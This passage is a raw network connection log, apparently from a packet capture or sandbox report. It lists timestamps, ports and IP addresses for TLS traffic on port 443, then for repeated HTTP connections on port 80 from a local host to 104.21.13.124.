Apr 3, 2024 06:37:22.405772924 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.405817032 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.405930996 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.405972004 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.418922901 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.418972969 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.418992996 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.419033051 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.431987047 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.432034969 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.432044029 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.432089090 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.445111990 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.445166111 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.445174932 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.445214987 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.458242893 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.458292961 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.458300114 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.458342075 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.471388102 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.471472025 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.471481085 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.471528053 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.483268023 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.483340025 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.483347893 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.483392000 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.495235920 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.495289087 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.495297909 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.495342970 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.507127047 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.507194042 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.507199049 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.507235050 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.519031048 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.519107103 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.519129992 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.519181013 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.531008959 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.531074047 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.537781954 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.537838936 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.537846088 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.537892103 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.573141098 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.573220015 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.573501110 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.573549986 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.577817917 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.577871084 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.577878952 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.577925920 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.587837934 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.587923050 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.587929010 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.587979078 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.597429991 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.597486019 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.597492933 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.597543001 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.607955933 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.608025074 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.608030081 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.608074903 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.617644072 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.617695093 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.617712021 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.617717981 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.617741108 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.617786884 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.627187014 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.627244949 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.627249956 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.627298117 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.637662888 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.637736082 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.637825012 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.637872934 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.646492958 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.646569967 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.646615028 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.646667957 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.656142950 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.656213045 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.656225920 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.656270981 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.665712118 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.665781975 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.665786982 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.665836096 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.675303936 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.675390005 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.679951906 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.680008888 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.680097103 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.680149078 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.680152893 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.680196047 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.688983917 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.689050913 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.689055920 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.689106941 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.699207067 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.699270964 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.699326038 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.699366093 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.708056927 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.708117962 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.708122969 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.708168983 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.717240095 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.717288971 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.717364073 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.717411041 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.724773884 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.724826097 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.724904060 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.724946976 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.732629061 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.732685089 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.732690096 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.732731104 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.741875887 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.741925955 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.741930008 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.741970062 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.741974115 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.742022038 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.747901917 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.747956038 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.748179913 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.748230934 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.755727053 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.755790949 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.755795956 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.755844116 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.763107061 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.763165951 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.763261080 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.763305902 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.771023035 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.771080017 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.771085024 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.771122932 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.778609037 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.778665066 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.781011105 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.781060934 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.781064987 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.781080961 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.781099081 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.781105042 CEST | 443 | 49739 | 192.178.50.65 | 192.168.2.4 |
Apr 3, 2024 06:37:22.781111956 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:22.781137943 CEST | 49739 | 443 | 192.168.2.4 | 192.178.50.65 |
Apr 3, 2024 06:37:24.092320919 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.218743086 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:24.218986034 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.221116066 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.347872972 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:24.347925901 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.472351074 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:24.779788017 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:24.780026913 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:24.780200958 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.780328989 CEST | 49740 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.902561903 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:24.904675961 CEST | 80 | 49740 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.027286053 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.028279066 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.030663013 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.155656099 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.155721903 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.282236099 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.581723928 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.582094908 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.582756042 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.582807064 CEST | 49741 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.636077881 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.708846092 CEST | 80 | 49741 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.761984110 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.762057066 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.764698982 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:25.893140078 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:25.893218994 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:26.018697023 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:26.326467991 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:26.326899052 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:26.326987028 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:26.352847099 CEST | 49742 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:26.477196932 CEST | 80 | 49742 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:27.997809887 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.122293949 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.122411966 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.125041008 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.249449015 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.249512911 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.374291897 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.687709093 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.688155890 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.688165903 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.688221931 CEST | 49743 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.812561035 CEST | 80 | 49743 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.824636936 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.949574947 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:28.949688911 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:28.952090025 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.076754093 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.076817989 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.201550007 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.510701895 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.510745049 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.510951996 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.511590004 CEST | 49744 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.636354923 CEST | 80 | 49744 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.660804987 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.784745932 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.784832001 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.787076950 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:29.910990000 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:29.911164045 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.035161972 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.342767000 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.342788935 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.342830896 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.343048096 CEST | 49745 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.467164993 CEST | 80 | 49745 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.485690117 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.610754967 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.610862970 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.613046885 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.738033056 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:30.738256931 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:30.863209009 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.172743082 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.173727036 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.173787117 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.174185038 CEST | 49746 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.301592112 CEST | 80 | 49746 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.311023951 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.435534954 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.435761929 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.437870979 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.562295914 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.562454939 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.687055111 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.994648933 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.995059013 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:31.995495081 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:31.995544910 CEST | 49747 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.119472027 CEST | 80 | 49747 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.138817072 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.264795065 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.265021086 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.267354012 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.391940117 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.392137051 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.517656088 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.821779966 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.822190046 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.822482109 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.822561979 CEST | 49748 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:32.947988987 CEST | 80 | 49748 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:32.965569973 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.090713024 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.090823889 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.093730927 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.218442917 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.218550920 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.343310118 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.509691000 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.510034084 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.510543108 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.510591984 CEST | 49749 | 80 | 192.168.2.4 | 104.21.13.124 |
Apr 3, 2024 06:37:33.635575056 CEST | 80 | 49749 | 104.21.13.124 | 192.168.2.4 |
Apr 3, 2024 06:37:33.660731077 CEST | 49750 | 80 | 192.168.2.4 | 104.21.13.124 |
